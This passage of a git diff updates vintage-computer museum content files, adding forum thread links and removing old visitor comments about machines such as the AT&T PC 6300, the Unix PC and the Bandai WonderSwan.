Hardy - date: Wednesday 25th January 2012 - text: This is now located at the National Museum of Computing at Bletchely and can be seen working if the wind blows in the right direction :-) - - author: Phil Ramsbottom (UK) - date: Monday 4th August 2008 - text: My father had the job of rebuilding and improving this machine when it went to Wolverhampton. He added an extra block of Decatron tubes to facilitate this but not visible on your photo. I remember 'playing' with it as a very young lad when Dad would 'pop in to work' on Saturday mornings. During the late seventies, around the time it went to Birmingham Science Museum, he put an entry of it in The Guiness Book of Records, 1977 edition I think, as the worlds most durable computer. I have a framed copy of the photo taken for this purpose, along with an etched nameplate which was on the control panel, and also the 'starter' key. In the early 50s' he appeared along side Witch on the front cover of The Times Educational Supplement in the days when it was a seperate purchase, demonstrating it to a group of school girls. oc_id: 1235 source: url: https://web.archive.org/web/20230603005148/http://www.old-computers.com/museum/computer.asp?c=1235 diff --git a/content/museum/att-pc-6300.md b/content/museum/att-pc-6300.md index ddf79c91..91d307a7 100644 --- a/content/museum/att-pc-6300.md +++ b/content/museum/att-pc-6300.md @@ -66,6 +66,7 @@ params: - photos - adverts - links + forum_thread: 525 photos: - title: ANOTHER VIEW subtitle: '' @@ -80,156 +81,6 @@ params: - title: Obsolete Computer Museum url: http://www.obsoletecomputermuseum.org/att-6300.html text: Tom has a page about the ATT PC 6300 with some pictures - comments: - - author: Christopher Platt (USA) - date: Monday 17th January 2022 - text: I was a third-party computer field service technician 1987-2002. The customer I serviced used AT$T 6300''s with an SNA card on IBM mainframe system. These were used as remote job entry stations attached to Printronix P600XQ line printers at 20 sites in New York City. The first time I opened the system case I was surprised to see that 120V power for the monitor was supplied through the DB9 connector on the monochrome video card, so servicing this model could be a shocking experience for the uninitiated technician! I recall we had to install a date patch for the AT$T operating system software to make it Y2K compliant. - - author: Don Gray (United States) - date: Sunday 5th September 2021 - text: I used work in a Computerland service department and we sold a lot of the 6300s. They were really good computers with one very major exception. Their soldered in CMOS barrel shaped battery would die about every 1 to 2 years. Attempting to unsolder and resolder another battery was forbidden by the service agreement because it often destroyed the motherboard by causing issues with the multi-layered solder foils. So the only "official" way to service these was to replace the mother board entirely. But often times the replaced motherboard sat on a shelf for many months before shipping and the two year battery would have already been somewhat depleted when we got them. The advertising said the batteries should last 7 years but 2 was more like it. It was one of my least liked news I had to give 6300 customers as a new motherboard replacement at that time was $1700, a used one they had repaired about $900 if you could get one. So essentially a dead $3 battery just outside the 1 year warranty - would cost the customer $1700 and a wait several weeks just to fix one. Most people didn''t go for it and just bought another PC from us (or in anger from someone else). It was impossible to convince my Computerland management to stock $1700 boards so weeks to repair them. Computers like these usually sold for 2-3k back then and repairs were very costly and time consuming. - - author: John W. Ellenberger (Fort Collins, CO, USA) - date: Tuesday 14th September 2010 - text: My father was a product manager for the PC6300 line for AT$T. He brought home one of the early machines (still in the Olivetti grey plastic). The first machine had two 5.25" floppy drives. - - author: Brad (Illinois) - date: Monday 29th October 2007 - text: My dad worked for AT&T, and had the opportunity to get us a 6300. I remember we had the choice between the dual floppy version, and one floppy/one 20MB hard drive. I almost choose the dual floppy version (the more, the better, right?) until a friend wisely educated me about hard drives. I loved that computer. We eventually had two 6300's and a 6300 Plus that I ran Unix on for awhile. My dad's position at AT&T helped spark my interest, and started me out on my IT career. - - author: Brian K (USA) - date: Saturday 10th July 2021 - text: This is the computer in Nathan Arizona''s office in the movie "Raising Arizona." - - author: eXO (texas, United States) - date: Friday 23rd October 2020 - text: |- - If interested in selling, please contact me at retroexo@gmail.com\ - Thanks! - - author: eXo (Texas, United States) - date: Friday 23rd October 2020 - text: I am interested in purchasing one if someone is selling. - - author: Donna (Toms River, NJ) - date: Saturday 1st September 2018 - text: For sale - AT$T PC6300 processor, color monitor, keyboard, dot matrix printer, original manuals and software. Software, word processing, and various games installed. - - author: Bill (Colorado, USA) - date: Monday 23rd April 2018 - text: |- - I am looking for a new home for my AT$T computer. Any interest? - - wredak@gmail.com - - author: Richard (Atlanta, GA) - date: Tuesday 16th January 2018 - text: I got one of these my first year at GA Tech. They had a computer store in the newly opened student mall and were giving students a deal on them. When I wanted to upgrade to a better graphics card, I remember having to buy a small daughtercard to put in one of the small slots in addition to a standard ISA graphics card. Ran that thing for quite a few years. - - author: Mark - date: Monday 30th October 2017 - text: Anyone interested in an original 6300 PC? Also, ATT transparency ribbons 477 for color printer. - - author: Steve G (USA) - date: Wednesday 12th July 2017 - text: I had a 6300+, 20 meg hard drive and color monitor. It had a modem and this was the first time I connected to a BBS. I had a game called Space Quest, there was also a Police Quest. All commands were DOS. Heavy and hard to repair. - - author: Vincenzo (Milan - Italy) (Milan - Italy) - date: Thursday 22nd September 2016 - text: |- - Hello,\ - I''m searching the Operating System for the AT$T PC6300 Plus. I mean, the original MS-DOS for the PC6300 PLUS, the Unix System V Release 2.0 (or Xenix) that was optional on this machine, including the OS Merge utility to let the MSDOS run within the Unix Environment. If anybody has floppy disks, or a working image on the hard disk, please let me know. Email is pevalcasATtin.it.\ - Regards. - - author: Joseph Burke (USA) - date: Sunday 31st July 2016 - text: There was also a 6300 Plus that had a 286. I have one here. I thought I had just a plain 6300 until I opened it up. - - author: Gort - date: Saturday 19th March 2016 - text: At$t is a brand name owned by SBC. They can fool some of the people all of the time. - - author: Christopher Platt (United States) - date: Sunday 7th June 2015 - text: I had a customer who used ATT$T PC6300 computers as RJE workstations connected to an IBM 3270/Mainframe host system into the early 2000''s. I remember we had to scramble to find a Y2K date patch for these ancient machines and their software. - - author: Stefano (Italy) - date: Thursday 21st March 2013 - text: |- - A very cool system, I still have one.\ - It had super-CGA graphics, capable of showing high definition text in place of the standard chunky characters and of getting a very cool extra 640x400 resolution. it could be switched in by bios modes 40h or 48h, the latter showing a small font.\ - The color attributes were tweaked to get a mix of the CGA modes + the monochrome features (flashing od underlined text). This lead the 160x100x16 unofficial tweaked cga modes to work differently.\ - The hardware was very flexible, its monitor could work with the AGA graphics card (which was a sort of super cga getting resolutions close to the EGA board) or even in 512 dots mode with a z8001 coprocessor in M20 emulation.\ - Do not try to overclock the CPU ! The same clock source drives the monitor, and you would burn it. - - author: John (United States) - date: Saturday 10th November 2012 - text: |- - My first computer. Purchased it when I became a salesman in NYC for Amada.\ - I used it to track customers and provide lists based upon location of customers to visit. I used a program called PFS File and for word processing PFS Professional Write.\ - My peers at the time could not see the value of any of this.\ - I recall purchasing a 20 meg hard drive for around $600. It was amazing! My fellow geek friends drive for miles to see it in action.\ - I wish I had saved my 6300, it''s like an old friend. - - author: Vincenzo (Milan - Italy) - date: Thursday 21st June 2012 - text: |- - Hello, - - I am, probably the first collector of Olivetti M24 on earth. I own also a couple of AT$T PC6300. - - I have around 30 Olivetti M24, with a large collection of spares, power supplies. - - This was a wonderful computer! It was my first one when I was 17th. Wonderful Keyboard (Olivetti has always produced wonderful keyboards). - - I''m searching the following things to extend my collection:\ - 1\) Original Color Monitor with its cable\ - 2\) 301, 302 keyboard (even broken)\ - 3\) Original Mouse to be connected on keyboard\ - 4\) A motherboard for the PC 6300 Plus with 80286 daughterboard.\ - 5\) A PC6300 plus front plastic bezel - - If any of you has such things, thanks to contact me.\ - sa.cas@virgilio.it - - If you need something in exchange, let me know. - - Whoever needs information on the pc, repair tips, etc, please contact me. - - Long life to Olivetti M24, AT$T PC6300, Xerox 6060 and Logabax Persona 1600. These were all Olivetti M24 rebranded. - - Ciao! - - author: stan_in_use (usa) - date: Tuesday 10th April 2012 - text: Nice system, knowing it was made in America - - author: Stephen Skerritt (USA) - date: Tuesday 10th January 2012 - text: The 6300 was my first computer. I bought it while in college. It had duel 5.25 inch floppies and I added a 1200 baud modem. I also hacked it a bit to add a 30 Meg hard drive. I loved this machine. - - author: Will (USA) - date: Friday 25th November 2011 - text: |- - Just wanted to add that the AT$T 6300 was a fantastic computer. I purchase mine from a newspaper sales ad. It cames complete with CGA color monitor and parallel Cannon Printer dot matrix.\ - I use this PC when I was going to collegue for computer systems. It cames loaded with games but made the mistake of taking to school. I learn how to format and put the OS back after another student put a virus on the system. I wish I still had that PC as it cames with 10megs and 5.25 floppy.\ - Only thing I have now is a book that shows you how to use it and brand new keyboard that will try to convert to PS/2 pin configuration or USB. - - great vintage machine!!! - - author: rep2206 - date: Tuesday 22nd November 2011 - text: When I first started learning computers, this was the first computer that I used to start. I hope that someone is selling this computer. I am a vintage guy and I vintage computers. - - author: John Sprague (United States) - date: Tuesday 30th August 2011 - text: The AT@T 6300 was my first computer, it had a 5.25" floppy and a 10meg hard drive, black and white monitor, I later added a 1200 baud modem so I could connect with Prodigy, I still have it, I just couldn''t let it go. - - author: COXXEH (Earth ) - date: Tuesday 9th November 2010 - text: I bought this machine (just the computer,nothing else) a few months ago from ebay. I have a few questions about the little thing,and would like to get in touch with anyone who knows a decent amount about them. If you would,please email me at Lomby8086@hotmail.com Thanks! - - author: Mike Pientka (Windsor CO) - date: Thursday 12th August 2010 - text: My Commodore 64 was getting long in the tooth when I bought my AT$T 6300 in April 1984. I justified it as a present for having just put myself through 8 years of night college to earn my BSME. It had 640K of RAM, a dual-sided flopppy drive, and a CGA graphics card. I remember paying about $3500 for the computer, 12" monochrome monitor, daisy wheel printer, optical mouse, and an external 300 baud modem. For the next 2 years I would carry the whole system to my cubicle every morning, use it for work, then take it home every night to run my BBS and "game". Eventually the company owners realized that PC''s were actually useful and bought several 6300''s for the engineering staff. I later upgraded the 8086 processor to a V30 and added a whopping-huge 20 MB hard drive. Around 1990 I replaced my 6300 with a 386-based. - - author: Nevada Hamaker - date: Wednesday 24th March 2010 - text: 'I bought one of these used in 1992 to run a BBS. It had a 10MB hard drive that sometimes needed a tap before it would spin up when the system was turned on. Shortly after I bought another that looked like a later model. It didn''''t have the translucent red cover on the front like the one pictured on this page$ the first one did. The first one I gave to a friend who ran a BBS on it for a few months before the motherboard literally cracked. I ran my BBS on the second one for a while and then sold to a friend of my brother''''s who wanted to use it essentially as a terminal to dial up BBSs. It had an interesting quirk: the system clock would gain about 40 minutes during the course of a single day. It came with a small clock card in one of the expansion slots. I had setup a timed event in the BBS software to run a small program at "midnight" that reset the system time to the time on the clock card. Since after the first time it ran the time was now 11:20 or so, it would run again - at "midnight" though even over that short a time it had gained enough to run at least a third time before the real time passed midnight. Good times.' - - author: Barb Stephens (Colorado) - date: Saturday 28th April 2007 - text: We bought ours in 1984 (640K RAM) and as big a hard drive as we could get (don't remember how much). I do know it was more powerful and had better memory than the 512K RAM IBM PC we had at work for the entire branch and I occasionally whined that I could do more at home than at work (even then!). Our youngest son (in junior high at the time) played the early King's Quest games (Sierra) when they were still just text...he later got the MS in Computer Science and now is technical director of a game company! One of the really nice things about this machine was how many times we were able to upgrade it before we had to replace it in the mid-late 1990s. Although it cost what felt like a fortune, we got a phenomenal amount of use out of it. I was really sorry when we had to upgrade to a new machine. Loved that keyboard...and completed an MBA on that machine! - - author: TS Brown (Earth) - date: Friday 13rd October 2006 - text: I got one of the first models and opted for the CGA monitor. It had a 5.25" single floppy. I upgraded the memory to the max (640K?), added a 20 MB HDD and a math co-processor. The keyboard was the best I have ever used. One oddity was the board with the RAM memory hung upsidedown under the bottom cover. A few times I had to open it up and reseat the RAM chips as the heating/cooling cycles coupled with gravity apparently allowed the chips to work themselves loose. Also, I believe AT&T sold a later model, a 630x (4?). Good memories... - - author: John Magliano (earth) - date: Saturday 8th April 2006 - text: I got mine in 87' and used it for MIDI sequencing for music. I was running voyetra sequencer plus gold software and MS DOS 5, and it blew away any xt of the time. it came with a 40mb HD and 2Mb Ram WOW! the best thing i loved about this PC was it NEVER crashed, i trusted it so much i used it for live music perfomances. it lasted until the day i gave it away 13 Years later! - - author: John deBoer (Connecticut) - date: Tuesday 7th December 2004 - text: This is the first computer I ever had, my dad bought one when I was 6 or 7. My mom named it Violet. We used it for years and years, long after it was totally obsolete. I'll always have a soft spot in my heart for Violet, I played all the old Sierra games on her. She was a good little computer. - - author: Nicholas Scarpinato (Texas) - date: Friday 1st August 2003 - text: These things would run Windows 3.0 in Stanard Mode, too ;) Great system, used it for school after my Commodore Colt died, before we got our IBM 486SX PS/1, all 25MHz of it... lol - - author: John Shilling (Earth) - date: Friday 2nd August 2002 - text: When I got mine I added a super-huge 40 meg hard drive. My friend, an IBM CE, was amazed because it was so wasteful. "What could you possibly need that much space for?" I used it for selling total station surveying equipment and lugged the whole thing all over the country. It was a great machine and rendered graphics so much faster than the IBM. oc_id: 531 source: url: https://web.archive.org/web/20230608084558/http://www.old-computers.com/museum/computer.asp?c=531 diff --git a/content/museum/att-unix-pc.md b/content/museum/att-unix-pc.md index 773bcab5..a6543025 100644 --- a/content/museum/att-unix-pc.md +++ b/content/museum/att-unix-pc.md @@ -70,6 +70,7 @@ params: $1195 for 512kb expansion card tabs: - links + forum_thread: 1134 links: - title: AT&T 7300/3b1 (UNIXPC) Stuff url: http://www.unixpc.org/ @@ -77,41 +78,6 @@ params: - title: Unix PC Archive Holdings url: http://unixpc.taronga.com/ text: '' - comments: - - author: Jesse (United States) - date: Tuesday 8th June 2021 - text: 'There is an AT$T UNIX PC emulator called FreeBee, available on github: philpem/freebee' - - author: David (United States) - date: Wednesday 7th June 2017 - text: I received a PC7300 with a nearly full set of manuals and disks. I need to see if I can get those disks imaged so that they can be shared. - - author: Mister Technological Archaeologist MD PHD NUT - date: Wednesday 1st February 2017 - text: |- - This looks like the beginning of UNIX/LINUX/BSD for the home computer user. - - Emulators don''t work. I am bumbed :-( - - But over the years all the software on this system has already been ported and updated to all corners of the round earth. :-) - - author: AJ - date: Friday 16th December 2016 - text: The voice mail board you describe was called "Voice Power''. It was one of the first menu-directed systems. 3B1 systems could have several boards. It had text to speech as well. - - author: Aaron Lochard (USA) - date: Wednesday 3rd November 2010 - text: This is such a fantastic machine. I''ve had one for several years now. Unfortunately shortly after receiving it in working condition, I could not help but to open it up to see the insides. This was a difficult machine to get open, and somehow I have managed to do something to it. It no longer boots, and I do not have the OS to try to restore it to working condition. - - author: Laurent LATHIEYRE (Paris, France) - date: Wednesday 4th August 2010 - text: |- - One of my experience in computing! - - Very innovative piece of equipment, could handle phone calls, very versatile. - - author: PeterG (UK) - date: Tuesday 27th April 2010 - text: |- - I used these systems in the UK when I was employed by Computer Automation.\ - We had difficulty persuading users to shutdown properly so regular reinstalls were needed from 33 (or so) floppy disks. I believe that this is a variant of the Convergent Technologies Unix PC? - - author: Albert (USA) - date: Thursday 25th March 2010 - text: I was so envious of my room-mate who had one. Though the hard drive made a high pitched pinging noise that kept me up at night. oc_id: 1164 source: url: https://web.archive.org/web/20230328011733/http://www.old-computers.com/museum/computer.asp?c=1164 diff --git a/content/museum/audiosonic-pp-800.md b/content/museum/audiosonic-pp-800.md index 725f46ae..5bfb50c0 100644 --- a/content/museum/audiosonic-pp-800.md +++ b/content/museum/audiosonic-pp-800.md @@ -48,6 +48,7 @@ params: - photos - emulators - links + forum_thread: 644 photos: - title: INSIDE subtitle: '' diff --git a/content/museum/audiosonic-tele-sports-iv.md b/content/museum/audiosonic-tele-sports-iv.md index 487a41d3..f2d6ae34 100644 --- a/content/museum/audiosonic-tele-sports-iv.md +++ b/content/museum/audiosonic-tele-sports-iv.md @@ -43,6 +43,7 @@ params: tabs: - photos - links + forum_thread: 744 photos: - title: BOX subtitle: '' @@ -52,16 +53,6 @@ params: - title: INTERNAL LINK url: http://www.old-computers.com/magazine/view.asp?r=2&a=4 text: Article comparing the different GI catridge based systems - comments: - - author: James Skilton (UK) - date: Sunday 20th June 2010 - text: Me and my sister had one of these when we were kids. we would have been about 10. It was really basic but I think we only had a b/w telly at the time! the scoring only went up to 15 indicating 4-bit registers! We only had the original pong/hockey/target etc cartridge. I think the target was our favourite game. the little analogue joysticks were a delight and much nicer than the switching digital joysticks that became commonplace soon after. We loved this game, but I think after we got a BBC computer it went under the stairs for a few years before being chucked out. - - author: Conrad (Zoetermeer, Netherlands) - date: Friday 25th February 2005 - text: I have a different Audio Sonic game system somewhere at my parents house, it was more powerfull than this one. Don't whicht type it was, I have/had several games with it including Space Invaders, Tank Battle and Breakout. I will take it with me and take some pictures shortly! - - author: Craig Chester (UK) - date: Wednesday 15th December 2004 - text: I had one of these system when I was very young. I spent hours in front of a 14" TV playing pong with anyone who couldn't get away! I remember it being well built, the controllers seemed indestructible. The 'Colour' buttons on the front allowed the player to select a range of colours for the foreground/background. Each button had a predifined combination. Combinations being different for each game, if I remember correctly. related: - /museum/bandai-tv-jack-5000 - /museum/h-g-s-electronic-telesport diff --git a/content/museum/aval-avc-777-j2.md b/content/museum/aval-avc-777-j2.md index ac621a02..6d69c1d0 100644 --- a/content/museum/aval-avc-777-j2.md +++ b/content/museum/aval-avc-777-j2.md @@ -58,6 +58,7 @@ params: value: 8'' external disk-drives tabs: - photos + forum_thread: 96 photos: - title: AVC-777 J2 subtitle: '' diff --git a/content/museum/aval-avc-777.md b/content/museum/aval-avc-777.md index 34872556..a3561f97 100644 --- a/content/museum/aval-avc-777.md +++ b/content/museum/aval-avc-777.md @@ -54,10 +54,7 @@ params: value: Built-in PSU - label: PERIPHERALS value: Monitor, external 5''1/4 or 8'' double floppy-drives, printer, plotter, EPROM burner, scanner, acoustic coupler - comments: - - author: Linkman (Slovak republic) - date: Friday 15th October 2004 - text: I once saw this ugly machine. It is terrible. Display it is ugly.... no thanx but it is historical :) + forum_thread: 507 oc_id: 513 source: url: https://web.archive.org/web/20230417004101/http://www.old-computers.com/museum/computer.asp?c=513 diff --git a/content/museum/avt-electronics-comp-2.md b/content/museum/avt-electronics-comp-2.md index e7e8d683..1a9c53ec 100644 --- a/content/museum/avt-electronics-comp-2.md +++ b/content/museum/avt-electronics-comp-2.md @@ -65,6 +65,7 @@ params: tabs: - photos - adverts + forum_thread: 514 photos: - title: B&W PICTURE subtitle: '' @@ -90,15 +91,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/avt_comp2_pub_1.jpg - comments: - - author: Byte Buster - date: Sunday 9th September 2012 - text: This was also produced by Tano in New Orleans, LA in the early 80''s. - - author: Hendrik Moors (Belgium) - date: Monday 29th November 2004 - text: |- - I have one or two AVT's in my attic. I used it to build a system named "MicroCompo" in the eartly 80ties. It was intended to be used as complementary keyboard for Photosetting systems. For this I modified the hardware and the character generator for displaying 128 charactrs. I replaced the original keyboard by a Cherry-keyboard and wrote an editor program.\ - \[img\]http://img.photobucket.com/albums/v375/rikbe/oldpc/Microcompo.jpg\[/img\] oc_id: 520 source: url: https://web.archive.org/web/20230415205055/http://www.old-computers.com/museum/computer.asp?c=520 diff --git a/content/museum/axel-ax-20.md b/content/museum/axel-ax-20.md index 0a57a4e8..562e1aa6 100644 --- a/content/museum/axel-ax-20.md +++ b/content/museum/axel-ax-20.md @@ -67,6 +67,7 @@ params: tabs: - photos - hardware + forum_thread: 549 photos: - title: MAIN UNIT subtitle: '' @@ -98,19 +99,6 @@ params: subtitle: '' text: Twin 5.25" disk-drives - 600 kb each. image: /media/museum/hardware/axel_ax-20_disks.jpg - comments: - - author: rosie duff - date: Tuesday 22nd August 2017 - text: whne I was younger my father had bought me one of these as a award for cleaning the kitchen (I know good award) but it was actually very efficient. - - author: Stephane Gregoire (Montreal) - date: Saturday 2nd February 2008 - text: |- - My father brought me one around 1987... It came with a bootable floppy with an operating system similar to DOS (the boot loader was contained into a file called AXEL.SYS). Commands such as DIR, COPY,REN worked fine. - - I also had Microsoft Basic (MBASIC) on the boot disk. - - author: nico (France) - date: Sunday 24th February 2002 - text: I just wanted to say that the Axel AX-20 looks very familiar to me. When I was younger, In the year 90 or so, I was learning to code in Turbo Pascal on a clone of this system. It was made by MATRA and was called MAX-20 (M was for Matra I guess while AX-20 was the name of the system). oc_id: 557 source: url: https://web.archive.org/web/20230416215945/http://www.old-computers.com/museum/computer.asp?c=557 diff --git a/content/museum/axel-ax-25.md b/content/museum/axel-ax-25.md index 8e83c459..e3e0c03b 100644 --- a/content/museum/axel-ax-25.md +++ b/content/museum/axel-ax-25.md @@ -64,10 +64,7 @@ params: value: |- AX-25A : 7012 (France, 1984)\ AX-25B : 8080 (France, 1984) - comments: - - author: i_like_water2001@yahoo.com (hialeah) - date: Tuesday 10th May 2005 - text: OMG!!!!!11 THIS IS THE COOLEST COMPUTER EVER!! + forum_thread: 97 oc_id: 82 source: url: https://web.archive.org/web/20221203223559/http://www.old-computers.com/museum/computer.asp?c=82 diff --git a/content/museum/bainbridge-research-and-development-inc-dolphin.md b/content/museum/bainbridge-research-and-development-inc-dolphin.md index 507ab460..b229d470 100644 --- a/content/museum/bainbridge-research-and-development-inc-dolphin.md +++ b/content/museum/bainbridge-research-and-development-inc-dolphin.md @@ -47,6 +47,7 @@ params: - photos - adverts - docs + forum_thread: 944 photos: - title: WOODEN VERSION subtitle: '' @@ -94,20 +95,6 @@ params:  type of document : PDF **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Steve Wright (United States) - date: Monday 12th September 2016 - text: |- - In 1977 I was going to grad school at the University of Wisconsin-Madison, and saw a job posting for a programmer. I talked with Pat Hallett (Tom''s ex) who was living in Madison and involved in Special Education. She had been talked into buying a Dolphin for the Stoughton school district outside of Madison. They needed someone to write software for use in their Special Ed department. The district sent me to visit the BRD facility in January of 78, interesting little trip.\ - Since there was so little memory, I wrote essentially a master program to swap out the various components of the system when needed. All that done in assembler, with everything on 8" floppies. - - A circuit board component failed at some time, and I talked with someone who had me test voltages on the board to figure out which part was bad. Hardware service, circa 1978. - - author: Mark Chamberlain (USA) - date: Monday 20th January 2014 - text: Kurt Guntheroth and I were the original developers of the 6800 based emulator. 1977 time frame, while we attended UW. Initially we wrote in machine code, without even an assembler. The first A5 prototype launched on my Altair 680 hobby computer. I commuted from Seattle to Bainbridge Island via ferry. - Mark - - author: Albert L. Pion (Oregon, USA) - date: Friday 16th July 2010 - text: I worked for BRD in the mid to late ''70s writing software. I wrote several packages for the A5, and before that I wrote software for the P-603. I lived on Bainbridge Is., before moving to Seattle to attend UW. I knew Tom Hallet, his new wife and BRD marketing manager Judy, and several others. Get in touch with me if you are interested in learning more. oc_id: 969 source: url: https://web.archive.org/web/20221205115134/http://www.old-computers.com/museum/computer.asp?c=969 diff --git a/content/museum/bally-astrocade.md b/content/museum/bally-astrocade.md index e802d9ed..63e1d8c4 100644 --- a/content/museum/bally-astrocade.md +++ b/content/museum/bally-astrocade.md @@ -12,6 +12,7 @@ params: - software - emulators - links + forum_thread: 695 photos: - title: ASTROCADE BOX subtitle: '' @@ -195,19 +196,6 @@ params: - title: The Bally / Astrocade FAQ url: http://www.glankonian.com/~lance/Ballyfaq.html text: Excellent HTML Frequently Asked Questions (FAQ) - comments: - - author: drag0nneus (United States) - date: Wednesday 2nd May 2012 - text: Need to find bally astrocade controllers or adapter so I can the system I found. Any one know how to obtain one? Ebay currently has nothing. - - author: Terrywe (USA) - date: Tuesday 12th September 2006 - text: I got a Bally and had lots of fun with it. once I made it talk by recording my voice thru the joystick port, I took the voice & ran it thru an intergrated filter I made to get the voice envelope, then I used the stored envelope to modulate a 500hz tone - - author: Jon N. (Los Angeles, CA) - date: Wednesday 10th May 2006 - text: This was my first arcade video game system, and was my fathers hope that it would be my first computer system as well. When the company told him that they were not going to make the expansion computer module, he immediately returned the unit & demanded a refund on his money. I then was given a TRS-80 Model I for Christmas, '80. Good times. - - author: Stan Lee (Earth) - date: Monday 24th January 2005 - text: Bally now make Talking Pedometers under the name "Bally total Fitness". The logo is the B taken from the beginning of the old Bally logo. (You can find their 'wares in any Brantano Footwear!) oc_id: 712 source: url: https://web.archive.org/web/20221205113622/http://www.old-computers.com/museum/computer.asp?c=712 diff --git a/content/museum/bandai-arcadia.md b/content/museum/bandai-arcadia.md index 7abacdf9..def7b8cf 100644 --- a/content/museum/bandai-arcadia.md +++ b/content/museum/bandai-arcadia.md @@ -13,6 +13,7 @@ params: - emulators - links - docs + forum_thread: 1272 photos: - title: BANDAI ARCADIA subtitle: '' diff --git a/content/museum/bandai-gundam-rx-78.md b/content/museum/bandai-gundam-rx-78.md index a9150306..3e1ef7da 100644 --- a/content/museum/bandai-gundam-rx-78.md +++ b/content/museum/bandai-gundam-rx-78.md @@ -60,6 +60,7 @@ params: - software - emulators - links + forum_thread: 472 photos: - title: RX-78 - ZOOM ON KEYBOARD subtitle: '' @@ -113,37 +114,6 @@ params: - title: Personal Computer Nostalgia (Japanese) url: http://member.nifty.ne.jp/s-kato/rx78.html text: Another japanese page with some infos - comments: - - author: $ 1 3 8 $ - date: Wednesday 14th March 2018 - text: |- - If I may suggest an alternative introductory sentence- - - I would replace\ - "The Gundam RX-78 was originaly a very popular manga animation movie from the 80''s. Bandai then marketed a personal computer under this name..." - - with\ - "The Bandai RX-78 was named after the titular mecha from the 1979 anime series Mobile Suit Gundam" - - or something along those lines. - - author: Chester - date: Tuesday 21st March 2017 - text: (btw, I posted here because the link on the page for adding info is broken upon submission) - - author: Chester - date: Tuesday 21st March 2017 - text: |- - Ok, hope \*this\* works: - - http://bit.ly/2mpepcY - - author: Chester - date: Tuesday 21st March 2017 - text: |- - Here is the correct URL: - - https://www.flickr.com/search/?user_id$91032493$40N00$sort$date-taken-desc$text$rx-78$view_all$1 - - author: Chester - date: Tuesday 21st March 2017 - text: 'Here are some pics (creative-commons, feel free to use them) of an RX-78 I took in Japan recently (they had it exposed at Shosen Book Tower in Akihabara, Tokyo): https://www.flickr.com/search/?user_id$91032493$40N00$sort$date-taken-desc$text$rx-78$view_all$1' oc_id: 478 source: url: https://web.archive.org/web/20230609172241/http://www.old-computers.com/museum/computer.asp?c=478 diff --git a/content/museum/bandai-pippin-world.md b/content/museum/bandai-pippin-world.md index e1753ea0..42cccf1b 100644 --- a/content/museum/bandai-pippin-world.md +++ b/content/museum/bandai-pippin-world.md @@ -12,6 +12,7 @@ params: - hardware - software - links + forum_thread: 836 photos: - title: BANDAI @WORLD subtitle: '' @@ -76,22 +77,6 @@ params: - title: Computer Closet Collection url: http://www.computercloset.org/BandaiPippin.htm text: KC has a put up nice Pippin page! - comments: - - author: norton - date: Sunday 14th June 2020 - text: ready for windows 4.0 - - author: Tyler E (Pennsylvania) - date: Monday 7th October 2013 - text: This is the exact reason why there hasn''t been a Mac OS-XBox - - author: s3o (track) - date: Friday 8th April 2005 - text: it does sound like a mac xbox... 5 years before microsoft's version. - - author: MR._LCIII (USA) - date: Wednesday 5th January 2005 - text: It kind of sounds like an over priced, outdated, junky mac version of the Xbox. - - author: Elisha (male) (USA) - date: Monday 9th June 2003 - text: Gosh...... This thing is expensive !!!!!!!!! software: - /software/hashitte-asobou-kikansha-thomas oc_id: 855 diff --git a/content/museum/bandai-tv-jack-1000.md b/content/museum/bandai-tv-jack-1000.md index aa0bc36d..4348e5df 100644 --- a/content/museum/bandai-tv-jack-1000.md +++ b/content/museum/bandai-tv-jack-1000.md @@ -10,6 +10,7 @@ params: tabs: - photos - videos + forum_thread: 1286 photos: - title: TV JACK 1000 subtitle: '' diff --git a/content/museum/bandai-tv-jack-5000.md b/content/museum/bandai-tv-jack-5000.md index fec46e3a..47a58c29 100644 --- a/content/museum/bandai-tv-jack-5000.md +++ b/content/museum/bandai-tv-jack-5000.md @@ -40,6 +40,7 @@ params: - photos - software - links + forum_thread: 1271 photos: - title: BROWN MODEL subtitle: '' diff --git a/content/museum/bandai-wonderswan.md b/content/museum/bandai-wonderswan.md index b218ab8a..06ecb0eb 100644 --- a/content/museum/bandai-wonderswan.md +++ b/content/museum/bandai-wonderswan.md @@ -13,6 +13,7 @@ params: - software - emulators - links + forum_thread: 1143 photos: - title: SKELETON BLUE WONDERSWAN subtitle: '' @@ -77,31 +78,6 @@ params: - title: Wonder Witch Link Site url: http://jekyll.hp.infoseek.co.jp/english/ text: Japanese site (with english version) with links, news and a lot of interesting info - comments: - - author: Kaleb losher (USA) - date: Wednesday 27th September 2017 - text: 'idk why i said i don''''t know my keyboard glitched out but what i wanted to say was These old systems are really cool and i actually had a nintendo 64 and i still have it! :p XD xD xd Xd lol lel lul :P $p $P $D d$ d: D$ D: lolololololololololoXdXDXDXDXDXDXxDxDxD WHY AM I SAYNG XD LUL' - - author: Kaleb losher (USA) - date: Wednesday 27th September 2017 - text: I don''t know - - author: Godzil (UK) - date: Monday 9th May 2016 - text: |- - If you have ever found a WonderSwan, B$W, Color or Crystal in another country than Japan, it was imported, without the approval of Bandai. and $150 is 2 to 3 times more expensive than what is was in Japan.. - - Also there is a small error in the desctiption - - "ROM: 1KB save EEPROM" mean nothing, there is an internal EEPROM but it''s not used as a save memory for game, it''s only to store some internal information for the console, and the Owner Infos - - Also, the Media is proprietary ROM, that''s true, but the "small amount of EEPROM for game save (max 16MB)" is eaither badly written, or just false. - - There are two type of possible save method on the WonderSwan, SRAM and EEPROM (like early GBA game in fact), the EEPROM capability have a limit of 16KB (maximum of 13 bit of Address with 16bit data) and have the ability to address 256 \* 64KB of SRAM so 16MB in this case.) - - author: Raindance Rob (UK) - date: Friday 30th July 2010 - text: this handheld was also sold in the UK, im not sure if it was sold in all of Europe but it was definitely on sale here in the UK. i can remember Argos $ Toys R Us selling them $ also the colour version. - - author: Bearzilla (USA) - date: Saturday 3rd February 2007 - text: I would like to "correct" the information given about this system. It was infact sold here in the US, mainly through Toys R Us. Later when the system failed a very weak "buy back" offer was put to use to "reclaim" all hardware so it could be destroyed. The system itself sold for nearly $150.00 us and only had a few games available. oc_id: 1175 source: url: https://web.archive.org/web/20230516092219/http://www.old-computers.com/museum/computer.asp?c=1175 diff --git a/content/museum/basf-7100.md b/content/museum/basf-7100.md index 609fa755..49587a64 100644 --- a/content/museum/basf-7100.md +++ b/content/museum/basf-7100.md @@ -61,6 +61,7 @@ params: value: 16000 DM (Germany, 1982) tabs: - docs + forum_thread: 1266 docs: - title: BASF 7120 BASIC MANUAL url: 